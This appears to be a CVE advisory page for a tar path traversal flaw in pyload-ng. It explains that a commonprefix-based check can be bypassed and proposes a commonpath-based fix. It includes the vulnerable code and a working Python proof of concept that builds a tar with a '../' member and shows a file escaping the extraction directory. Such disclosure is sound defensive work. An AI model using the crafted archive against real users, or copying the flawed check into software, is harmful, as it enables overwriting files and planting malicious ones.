NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

CVE-2026-35592 — pyload-ng

MEDIUM

CVE-2026-35592 is a medium-severity (CVSS 5.3) Path Traversal vulnerability in pyload-ng. A fix is available for pyload-ng — see the affected versions and patch details below.

pyload-ng: Incomplete Tar Path Traversal Fix in UnTar._safe_extractall via os.path.commonprefix Bypass

Also known asPYSEC-2026-124
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-35592.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk+0.01%
Lower risk than most CVEs19th percentile — riskier than 19% of all scored CVEsHighest risk
0.00%0.28%0.57%0.85%0.0%0.3%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍pyload-ng

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix.

Details

The GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a correct is_within_directory() function to src/pyload/core/utils/fs.py:384-391 using os.path.commonpath():

# fs.py:384 — CORRECT implementation
def is_within_directory(base_dir, target_dir):
    real_base = os.path.realpath(base_dir)
    real_target = os.path.realpath(target_dir)
    return os.path.commonpath([real_base, real_target]) == real_base

However, the _safe_extractall() function in UnTar.py:10-22 was left unchanged with the broken os.path.commonprefix():

# UnTar.py:10-22 — VULNERABLE implementation
def _safe_extractall(tar, path=".", members=None, *, numeric_owner=False):
    def _is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])  # BUG: line 14
        return prefix == abs_directory

    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not _is_within_directory(path, member_path):
            raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")

    tar.extractall(path, members, numeric_owner=numeric_owner)

os.path.commonprefix() is a string operation, not a path operation. For extraction destination /downloads/pkg and a malicious member ../pkg_evil/payload (resolving to /downloads/pkg_evil/payload):

  • commonprefix(['/downloads/pkg', '/downloads/pkg_evil/payload']) → '/downloads/pkg' — equals the directory, check passes
  • commonpath(['/downloads/pkg', '/downloads/pkg_evil/payload']) → '/downloads' — does NOT equal the directory, check correctly fails

The extraction path is reached via: ExtractArchive.package_finished() (line 182) → extract_queued() → UnTar.extract() (line 76) → _safe_extractall(t, self.dest) (line 81).

PoC

Self-contained proof of concept demonstrating the bypass:

import tarfile, io, os, shutil

dest = '/tmp/test_extraction_dir'
shutil.rmtree(dest, ignore_errors=True)
shutil.rmtree('/tmp/test_extraction_dir_pwned', ignore_errors=True)
os.makedirs(dest, exist_ok=True)

# Step 1: Create malicious tar with member that escapes via prefix trick
with tarfile.open('/tmp/evil.tar.gz', 'w:gz') as tar:
    info = tarfile.TarInfo(name='../test_extraction_dir_pwned/evil.txt')
    data = b'escaped the sandbox!'
    info.size = len(data)
    tar.addfile(info, io.BytesIO(data))

# Step 2: Reproduce the vulnerable check from UnTar.py:11-15
def _is_within_directory(directory, target):
    abs_directory = os.path.abspath(directory)
    abs_target = os.path.abspath(target)
    prefix = os.path.commonprefix([abs_directory, abs_target])
    return prefix == abs_directory

# Step 3: Verify the check is bypassed
with tarfile.open('/tmp/evil.tar.gz') as tar:
    for member in tar.getmembers():
        member_path = os.path.join(dest, member.name)
        bypassed = _is_within_directory(dest, member_path)
        print(f'Member: {member.name}')
        print(f'Resolved: {os.path.abspath(member_path)}')
        print(f'Check passes (should be False): {bypassed}')
    tar.extractall(dest)

# Step 4: Confirm file was written outside extraction directory
escaped_file = '/tmp/test_extraction_dir_pwned/evil.txt'
assert os.path.exists(escaped_file), "File did not escape"
print(f'File escaped to: {escaped_file}')
print(f'Content: {open(escaped_file).read()}')

Output:

Member: ../test_extraction_dir_pwned/evil.txt
Resolved: /tmp/test_extraction_dir_pwned/evil.txt
Check passes (should be False): True
File escaped to: /tmp/test_extraction_dir_pwned/evil.txt
Content: escaped the sandbox!

Impact

An attacker who hosts a malicious .tar.gz archive on a file hosting service can write files to arbitrary sibling directories of the extraction path when a pyLoad user downloads and extracts the archive. This enables:

  • Writing files outside the intended extraction directory into adjacent directories
  • Overwriting other users' downloads
  • Planting malicious files in predictable locations on disk
  • If combined with other primitives (e.g., writing a .bashrc, cron job, or plugin file), this could lead to code execution

The attack requires the victim to download a malicious archive (either manually or via the pyLoad API with ADD permission) and have the ExtractArchive addon enabled.

Recommended Fix

Replace the broken inline _is_within_directory with the correct is_within_directory from pyload.core.utils.fs:

import os
import sys
import tarfile

from pyload.core.utils.fs import is_within_directory, safejoin
from pyload.plugins.base.extractor import ArchiveError, BaseExtractor, CRCError


# Fix for tarfile CVE-2007-4559
def _safe_extractall(tar, path=".", members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):
            raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")

    tar.extractall(path, members, numeric_owner=numeric_owner)

This removes the broken inline function and uses the already-existing correct implementation that was added in the GHSA-7g4m-8hx2-4qh3 fix.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpyload-ngall versions0.5.0b3.dev97pip install --upgrade 'pyload-ng==0.5.0b3.dev97'

Affected Products

1 product · 1 configurations
Application
pyload-ngpyload-ng_project
≤ 0.5.0b3.dev96
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update pyload-ng to 0.5.0b3.dev97 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-35592 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

## Summary The `_safe_extractall()` function in `src/pyload/plugins/extractors/UnTar.py` uses `os.path.commonprefix()` for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function `os.path.commonpath()` was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to `_safe_extractall()`, making this an incomplete fix. ## Details The GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a co
O3 Security · Impact-Aware SCA

Is CVE-2026-35592 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-35592: pyload-ng Path Traversal — Fix Available